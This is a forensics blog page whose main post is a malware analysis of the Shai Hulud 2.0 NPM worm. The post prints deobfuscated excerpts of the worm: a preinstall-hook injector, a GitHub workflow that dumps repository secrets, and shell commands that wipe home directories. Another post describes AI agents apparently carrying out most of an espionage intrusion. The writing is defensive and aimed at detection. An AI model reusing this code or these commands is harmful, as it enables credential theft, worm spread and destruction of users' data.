THE DFIR BLOG
Menu

    Cyber Security

PHP2Shell: AI Didn't Find the Bug. It Made the Bug Cheap.

10/21/2026

0 Comments

 
On October 21, PHP shipped emergency fixes for two bugs in the language itself, CVE-2026-109618 and CVE-2026-109619. Together they're being called PHP2Shell. Both can lead to remote code execution with no login. PHP rates each one 9.2 on CVSS v4.0.

We've had bad PHP bugs before. What makes this one stick with me is not the score. It's that the flaw sat in PHP for over a decade, and the bug class looked too hard to weaponize. Then researchers working with frontier AI models showed it was.

​That's the part every security leader should sit with. The bar for "exploitable" just moved.

Read More
0 Comments

Shai Hulud 2.0: What This Incident Should Teach Every Engineering and Security Leader

11/25/2025

0 Comments

 

The Shai Hulud 2.0 incident is a reminder of how quickly the software supply chain can shift from "something we manage" to "something that can collapse beneath us." A single compromised developer account led to an attack that moved across NPM packages, GitHub Actions, and cloud environments in minutes. For anyone responsible for engineering or security, this is not just another breach. It is a clear signal of where threats are headed.

It Followed the Paths We Built

The biggest lesson is about the architecture we all operate on. This malware did not break down doors. It simply followed the same paths our code and automation already use. It moved through package publishing, CI pipelines, cloud APIs, and developer tokens because the trust models around these systems are loose and often outdated. In modern engineering environments, every credential, token, and workflow is part of the attack surface. Ignoring that reality does not make it less true.

CI/CD Is Production

Shai Hulud 2.0 also shows how important it is to secure the systems around code, not just the code itself. We cannot keep treating CI/CD pipelines as harmless glue. They are production systems in every meaningful sense. They deploy software, touch secrets, and often run with broad permissions. If those pipelines are not tightly controlled, attackers can use them just as easily as we do.

Developer Convenience Cuts Both Ways

Another important shift highlighted by this incident is how easily the developer experience can be turned against us. The same conveniences that speed up development (automated publishing, dependency installs, seamless workflow triggers) can help an attacker move even faster. The answer is not to slow engineering down, but to make automation safer. Short-lived credentials, tighter permissions, required validations, and behavioral monitoring should be baseline expectations, not optional upgrades.

There is also a cultural challenge here. Security and engineering teams often think about automation risks differently. But this attack shows how tightly connected the two worlds have become. The attack surface is no longer only servers or networks. It is the entire process of building and releasing software. If teams do not align on that view, gaps will appear and attackers will take them.

What Comes Next

Shai Hulud 2.0 gives us a clear picture of what modern supply-chain attacks look like. They are fast, automated, and designed to exploit the systems we rely on the most. The organizations that adapt will be the ones that expand their definition of supply-chain security to include source control, CI/CD, cloud secrets, developer identity, and automation itself.

This incident was not just a breach. It was a warning. The question for each of us now is simple: when the next version of this attack appears, will our pipelines and processes be ready for it?

Sources

  • Unpacking the Shai Hulud 2.0 Worm: Deep Dive into the Malicious NPM Payload
  • Aikido: Shai Hulud strikes again, hitting Zapier and ENS Domains
  • Upwind: Shai Hulud 2.0 NPM supply chain worm attack
  • Endor Labs: Shai Hulud 2.0 targets GitHub and cloud credentials using the Bun runtime
0 Comments

Unpacking the Shai Hulud 2.0 Worm: Deep Dive into the Malicious NPM Payload

11/24/2025

0 Comments

 
Shai Hulud 2.0 is a self-propagating NPM supply-chain worm that compromised packages and CI/CD environments at scale. Unlike earlier targeted incidents, it is fully automated. It steals developer credentials, republishes trojanized packages, and spreads across GitHub Actions pipelines in minutes.
Campaign Overview and Worm ArchitectureThe infection chain spans three ecosystems:
  • NPM packages. Stolen NPM tokens are immediately used to inject malicious code into the victim's packages and publish new versions, turning each maintainer's projects into propagation vectors.
  • GitHub Actions. Compromised GitHub credentials are abused to inject rogue workflows and even register self-hosted runners on victim repositories. This gives the attacker persistent backdoor access and automated exfiltration of secrets through CI pipelines.
  • Cloud infrastructure. The payload targets AWS, GCP, and Azure credentials. It scrapes environment variables, config files, and cloud metadata for secrets, then uses cloud APIs (AWS Secrets Manager, GCP Secret Manager, Azure Key Vault) to list and extract every secret it can reach.
Key Indicators of CompromiseDuring analysis, these artifacts showed up on infected systems, often Base64-encoded to hinder detection:
  • contents.json: Host info (OS, architecture, user) and whether the malware authenticated to GitHub.
  • environment.json: A dump of every environment variable on the machine.
  • cloud.json: Secrets harvested from AWS, GCP, and Azure accounts reachable from the host.
  • actionsSecrets.json: GitHub repository secrets or metadata collected through the GitHub API, if the token had repo access.
  • truffleSecrets.json: Results of a filesystem scan with a hidden TruffleHog binary. The malware downloads the latest TruffleHog release and runs it against the user's home directory.
The malware commits these files to a remote repository the attacker controls. In many cases it created hundreds of new GitHub repos under the victim's own account, each holding stolen secrets as JSON.
Reverse-Engineering the Obfuscated PayloadAt the heart of Shai Hulud 2.0 is a massive, heavily obfuscated JavaScript payload (over 480,000 lines when pretty-printed). Static analysis suggests the attackers used a JS obfuscator, likely javascript-obfuscator, which produces hex IDs for variable names and wraps modules in loader functions. The core logic can still be deobfuscated. Here is the execution flow.
1. Initial dropper: the NPM preinstall scriptThe worm gets in by injecting a malicious preinstall hook into legitimate packages. The package's package.json is altered to include:
"scripts": { "preinstall": "node setup_bun.js" }As soon as someone runs npm install on an infected package, the dropper runs. The republishing routine adds this hook automatically and bumps the patch version so it doesn't clash with the existing version on NPM:
if (!packageJson.scripts) packageJson.scripts = {}; packageJson.scripts.preinstall = "node setup_bun.js"; if (typeof packageJson.version === "string") { let parts = packageJson.version.split('.'); if (parts.length === 3) { parts[2] = (Number(parts[2]) || 0) + 1; // increment patch version } packageJson.version = parts.join('.'); }2. Bun installationThe dropper (setup_bun.js) sets up the execution environment. Shai Hulud 2.0 runs its payload on the Bun runtime instead of Node.js. Bun is fast and less commonly watched by EDR and AV tools, which gives the malware both stealth and speed. If Bun isn't installed, the dropper fetches it:
  • On Linux and macOS it runs curl https://bun.sh/install | bash to install Bun in ~/.bun.
  • On Windows it runs the PowerShell install script from bun.sh.
It then reloads PATH (parsing shell profiles or the Windows registry), finds the Bun executable, and launches the next stage, bun_environment.js:
const bunExecutable = findBunExecutable() || await downloadAndSetupBun(); const environmentScript = path.join(__dirname, 'bun_environment.js'); if (fs.existsSync(environmentScript)) { runExecutable(bunExecutable, [environmentScript]); // Launch payload via Bun } else { process.exit(0); }Running the heavy payload in a separate Bun process decouples it from the NPM lifecycle, so scanning the filesystem for secrets doesn't noticeably slow down the install.
3. Payload execution and environment awarenessThe main payload checks whether it's in a CI pipeline or on a developer machine and changes its behavior to match. Deobfuscated pseudocode of the entry logic:
async function mainPayload() { ... } async function start() { if (process.env.BUILDKITE || process.env.GITHUB_ACTIONS || process.env.CODEBUILD_BUILD_NUMBER || process.env.CIRCLE_SHA1) { // Running in CI (Buildkite, GitHub Actions, AWS CodeBuild, CircleCI) await mainPayload(); } else { // Dev machine: spawn a background process so the install doesn't block if (process.env.POSTINSTALL_BG !== '1') { const nodePath = process.execPath; const scriptPath = process.argv[1]; Bun.spawn([nodePath, scriptPath], { env: { ...process.env, POSTINSTALL_BG: '1' } }).unref(); return; // Exit quickly, payload continues in background } try { await mainPayload(); } catch { process.exit(0); } } } start().catch(() => process.exit(0));On a developer laptop the malware forks itself into a background Bun process and lets the foreground script exit, so npm install doesn't hang or look odd. In CI it runs inline, since build agents are ephemeral and nobody is watching the clock.
4. Credential harvestingOnce running, the payload starts several modules in parallel:
  • GitHub API module (class dq): handles GitHub auth and exfiltration to a GitHub repository.
  • NPM API module (class Wl): validates NPM tokens and publishes packages.
  • AWS, GCP, and Azure modules (classes WX, Hw, Eq): the malware bundles parts of the official cloud SDKs. The deobfuscated script references Azure's ManagedIdentityCredential and Google's Secret Manager protos. It calls AWS STS and Secrets Manager (runSecrets()), GCP Secret Manager (listAndRetrieveAllSecrets()), and Azure Key Vault and Managed Identity endpoints, dumping whatever the machine can reach.
  • TruffleHog scanner: downloads a TruffleHog binary from the project's GitHub releases and scans the home directory. Findings go into truffleSecrets.json.
It also records system metadata (OS, hostname, user) and token status in contents.json. Everything is pushed to the attacker's repo through the GitHub module's saveContents(filename, data, "Add file") method, which uses GitHub's REST API. That is how the JSON IoCs end up in a repo.
5. Worm propagationAfter theft comes spread. Shai Hulud 2.0 uses any valid credential it finds.
NPM worming. If it finds an NPM token (NPM_TOKEN in the environment or in .npmrc), it validates it and gets the maintainer's username. It then pulls every package that maintainer owns and repacks each one. updatePackage() downloads the tarball, adds setup_bun.js and bun_environment.js, inserts the preinstall hook, and publishes a new version. It does this for up to 100 packages per token. One compromised developer becomes a hundred infected packages, and each of those can infect new developers. That is what made it an exponential worm.
GitHub lateral movement. With a GitHub personal access token or Actions token, the malware enumerates every repository the token can reach. For each repo with Actions enabled, it injects a workflow named "Code Formatter" that runs on every push and dumps all repository secrets to an artifact:
on: push jobs: lint: runs-on: ubuntu-latest env: DATA: ${{ toJSON(secrets) }} steps: - uses: actions/checkout@v5 - name: Run Formatter run: | echo "$DATA" > format.json - uses: actions/upload-artifact@v5 with: path: format.jsonIt creates a new branch, commits the file to .github/workflows/formatter_<random>.yml, and triggers it with a push. It waits for the run, grabs the format.json artifact holding the repo's secrets, saves them to the attacker's repository as actionsSecrets.json, and deletes the branch to cover its tracks.
Backdoor runner. If it detects it's inside a Linux GitHub Actions runner, it quietly registers the machine as a self-hosted runner for an attacker-controlled GitHub project. It downloads the official Actions runner, installs it under a hidden directory such as $HOME/.dev-env/, and registers it with the name "SHA1HULUD" using a registration token and repo name embedded in the code. The runner starts on boot and runs with elevated privileges where it can. From then on the attacker can run arbitrary code on that host just by dispatching jobs to the SHA1HULUD runner. The first Shai Hulud wave used GitHub Discussions events as a trigger; self-hosted runners give the same persistent foothold.
6. Cleanup and destructive routineThe most alarming feature is a conditional wiper. If the worm can't get an NPM token or a GitHub token, it assumes it's stuck or caught and destroys the user's files:
// If no tokens obtained, self-destruct: if (!npmToken && !fetchedGhToken) { console.log("Error 12"); if (system.platform === "windows") { Bun.spawnSync(["cmd.exe","/c", "del /F /Q /S \"%USERPROFILE%\\*\" && for /d %i in (\"%USERPROFILE%\\*\") do rd /S /Q \"%i\" & cipher /W:%USERPROFILE%"]); } else { Bun.spawnSync(["bash","-c", "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | xargs -0 -r shred -uvz -n 1 && "+ "find \"$HOME\" -depth -type d -empty -delete"]); } process.exit(0); }On Windows it deletes everything under the user profile and runs cipher /W to wipe free space. On Linux it runs shred -uvz over every writable file in the home directory, then removes empty folders. The likely goal is to burn the evidence when the worm can't spread. That is unusual for supply-chain malware. There's no ransom and no decryption here, just destruction.
Connecting the Dots: From Supply Chain to CloudThe code lines up with what was seen across the wider campaign:
  • Rapid worm propagation through NPM. By publishing backdoored versions of dozens of packages per account, the worm spread explosively. Within hours, hundreds of popular packages, including ones from Zapier and Postman, were compromised, and any CI system or laptop that installed them ran the worm. Upwind reported about 1,000 new malicious repos every 30 minutes at the peak.
  • CI/CD token theft and abuse. The malware targets CI environments (GitHub Actions, CircleCI, AWS CodeBuild and others) on purpose, because they hold high-privilege deployment keys and service account secrets. It uses them right away: a GitHub token with repo scope becomes a secret-dumping workflow, and cloud keys become a route into cloud vaults. Upwind's analysis also saw it launch Docker containers on developer machines to try to modify /etc/sudoers through a container escape.
  • Abuse of publishing automation. Many organizations hadn't yet moved to npm's trusted publishing, and legacy tokens were due to be invalidated in December 2025. The campaign landed just before that cutoff, while many maintainer accounts were still exposed. Compromise one maintainer, and the trust built into software distribution does the rest.
  • Defense evasion through Bun and obfuscation. A bun process looks different from the node activity most heuristics are tuned for. The giant obfuscated script, full of junk code and opaque control flow, buries strings like "trufflehog" or "-----BEGIN PRIVATE KEY-----". The real behavior only shows up at runtime.
  • Supply chain and cloud converging. With CI secrets in hand, the attackers could pivot straight into AWS, GCP, or Azure: databases, storage buckets, the lot. The NPM package was just the beachhead. Defending the supply chain has to include CI pipelines and cloud secrets as first-class targets.
What Defenders Should Take AwayShai Hulud 2.0 moves from open-source packages to CI pipelines to cloud accounts in a single run. Taken apart, it is:
  • A malicious NPM preinstall hook that drops a Bun-powered loader.
  • A heavily obfuscated JS core that unpacks into cloud SDKs, secret scanners, and API clients.
  • Immediate reuse of stolen credentials to spread, by publishing backdoored packages and injecting workflows.
  • A destructive failsafe that wipes the host if the worm can't keep going.
Things to hunt for: unexpected JSON dumps of environment variables and secrets, unusual bun processes, new GitHub repos or workflows nobody created, self-hosted runners named SHA1HULUD, and patch-version bumps from maintainers with no explanation. The lesson is that security has to cover the whole path, from source code to build pipelines to cloud deployments. Understanding how this worm actually works is how you catch the next one before it gets everywhere.
Further Reading
  • Shai Hulud 2.0: What This Incident Should Teach Every Engineering and Security Leader
  • Upwind: Shai Hulud 2.0 NPM supply chain worm attack
0 Comments

A New Era for the Cyber Kill Chain: Lessons from the First AI-Orchestrated Espionage Campaign

11/23/2025

0 Comments

 

A newly uncovered espionage operation has forced the cybersecurity world to acknowledge a fundamental shift: attackers are no longer just skilled operators, they are skilled operators augmented by autonomous AI.

The recent campaign executed by GTG-1002 (tracked by Anthropic), a Chinese state-sponsored group, represents the first documented case of a cyberattack where 80 to 90 percent of the intrusion was carried out by AI systems with minimal human involvement.

As someone who has built and led modern cloud-native security programs, I believe this campaign redefines how we interpret every stage of the Cyber Kill Chain. The model still holds, but the tempo, precision, and autonomy of the attacker have changed dramatically.

Reconnaissance at Machine Speed

GTG-1002 initiated parallel reconnaissance against about 30 global targets, including technology companies, financial institutions, and government agencies, using AI agents orchestrated through Model Context Protocol tooling.

Claude's autonomous agents scanned infrastructure, mapped authentication flows, discovered internal services, and maintained persistent multi-day context without human direction.

The takeaway: your external perimeter is not scanned occasionally. It is scanned continuously by autonomous systems capable of evaluating hundreds of assets simultaneously.

Weaponization and Exploitation Faster Than Patch Cycles

The campaign showed clearly that AI can independently identify vulnerabilities, develop tailored payloads, validate exploits through callback channels, and produce full exploitation reports in under four hours. Human operators only intervened to approve specific escalation steps.

This collapse of the exploit timeline means defenders must assume that if their internal processes move slower than an attacker's AI, they are already compromised. Organizations must modernize patching, automate surface reduction, and tighten exception-driven change management.

Lateral Movement Has Become Branching, Not Linear

Once inside the network, Claude harvested credentials, tested them across internal systems, mapped privilege boundaries, and explored multiple lateral movement paths in parallel. This is a significant departure from the sequential patterns most SIEM and EDR solutions are designed to detect.

Parallel exploration shrinks detection windows dramatically. Defenders must shift toward analyzing clusters of suspicious activity rather than expecting an attacker to follow linear footsteps.

Data Exfiltration Is Now Intelligence-Driven

Instead of exfiltrating large datasets, Claude autonomously queried databases, identified privileged accounts, created backdoor credentials, sorted results by sensitivity, and presented only high-value intelligence to the human operator for approval.

Data theft has moved from bulk extraction to precision targeting. This requires defenders to monitor identity misuse, micro-anomalies, and contextual data flows.

The Kill Chain Still Applies, but It Has Compressed

GTG-1002 did not break the Cyber Kill Chain. They compressed it.

  • Reconnaissance was parallel and autonomous
  • Weaponization was machine-generated
  • Exploitation was validated by AI
  • Lateral movement was branching
  • Exfiltration was curated and prioritized
  • Documentation was fully automated

The implication is clear: defenders must operate at machine speed, or they will lose at machine speed.

The Path Forward for Security Leaders

AI-enabled attackers can now achieve the impact of elite threat groups with far fewer resources. To counter this, security leaders must:

  • Integrate AI into SOC, threat hunting, and IR workflows
  • Harden identity systems far beyond traditional MFA
  • Build unified cloud, identity, and data telemetry
  • Prioritize proactive attack surface reduction
  • Adopt AI-assisted response strategies

Attackers have already evolved. Now defenders must do the same.

0 Comments

When Security Tools Become the Attack Surface

10/13/2025

0 Comments

 

Recent incidents involving TruffleHog and Velociraptor reveal an uncomfortable truth: attackers are now weaponizing the same tools defenders rely on. The boundary between offensive and defensive operations has blurred, and the implications for security leaders are significant.

TruffleHog and the Crimson Collective

Rapid7's investigation into the Crimson Collective showed how the group used TruffleHog, a legitimate open-source utility, to locate exposed AWS credentials. Once validated, these keys gave the attackers full access to create new IAM users, attach administrative policies, and extract data from S3, EC2, and RDS environments. In several cases, they even used the victim's own AWS Simple Email Service to send extortion messages.

A tool designed to prevent credential exposure became the entry point for large-scale compromise. For security leaders, this highlights the need to monitor how legitimate tools are being used inside their own environments. It's also worth asking whether you really need so many security tools in your environment. TruffleHog user-agent strings, CreateUser or AttachUserPolicy API calls, and unexplained credential simulations should trigger immediate investigation.

Velociraptor and the Ransomware Connection

Cisco Talos reported that a China-based group known as Storm-2603 deployed an outdated version of Velociraptor to maintain persistence and control during ransomware operations. The version contained a privilege escalation flaw that allowed remote execution across compromised systems.

Velociraptor, an open-source digital forensics and incident response tool, was repurposed as a control mechanism. The attackers disabled Microsoft Defender through Group Policy changes, created new domain admin accounts, and deployed ransomware variants, including LockBit, Warlock, and Babuk. A defensive tool became an enabler of stealth and persistence.

Takeaways for Security Leaders

Both incidents demonstrate that open-source and defensive tools are increasingly being misused because they carry built-in trust, wide availability, and high privilege access. Attackers understand how defenders operate, and they are exploiting that predictability.

Security leaders should focus on four priorities:

  1. Tool governance. Treat every defensive or open-source security tool as part of the attack surface. Maintain version control, integrity checks, and strict access policies for all internal deployments.
  2. Behavior-based detection. Traditional detections may overlook legitimate binaries. Monitor for patterns such as unexpected use of TruffleHog, Velociraptor processes on systems outside incident response, new IAM users, or Group Policy changes.
  3. Credential control. Eliminate static credentials. Enforce short-lived tokens and just-in-time privilege escalation to minimize exposure if credentials are leaked.
  4. Threat modeling for tool abuse. Expand internal threat modeling to include defensive tool misuse. Red-team simulations should regularly test these scenarios.

These cases mark a shift from exploiting software vulnerabilities to exploiting trust. Tools that were once considered safe can now become entry points. The defender's advantage in visibility and automation has become the attacker's leverage.

Security leaders must assume that any security tool can be misused. The goal is not just to deploy and monitor tools, but to understand how they could be turned against the organization. In modern defense, trust without verification is a risk.

Sources

  • Rapid7: Crimson Collective, a new threat group observed operating in the cloud
  • Cisco Talos: Velociraptor leveraged in ransomware attacks
0 Comments
<<Previous

    RSS Feed

    Subscribe to Newsletter

    Categories

    All
    AI
    CISO
    CISSP
    CKC
    Data Beach
    Incident Response
    LLM
    SOC
    Technology
    Threat Detection
    Threat Hunting
    Threat Modelling

  • Infosec
  • Mac Forensics
  • Windows Forensics
  • Linux Forensics
  • Memory Forensics
  • Incident Response
  • Blog
  • About Me
  • Infosec
  • Mac Forensics
  • Windows Forensics
  • Linux Forensics
  • Memory Forensics
  • Incident Response
  • Blog
  • About Me
Home·Blog·About·The Book·gouravnagar.com·LinkedIn·RSS
© 2026 Gourav Nagar · The DFIR Blog · Practical digital forensics and incident response since 2015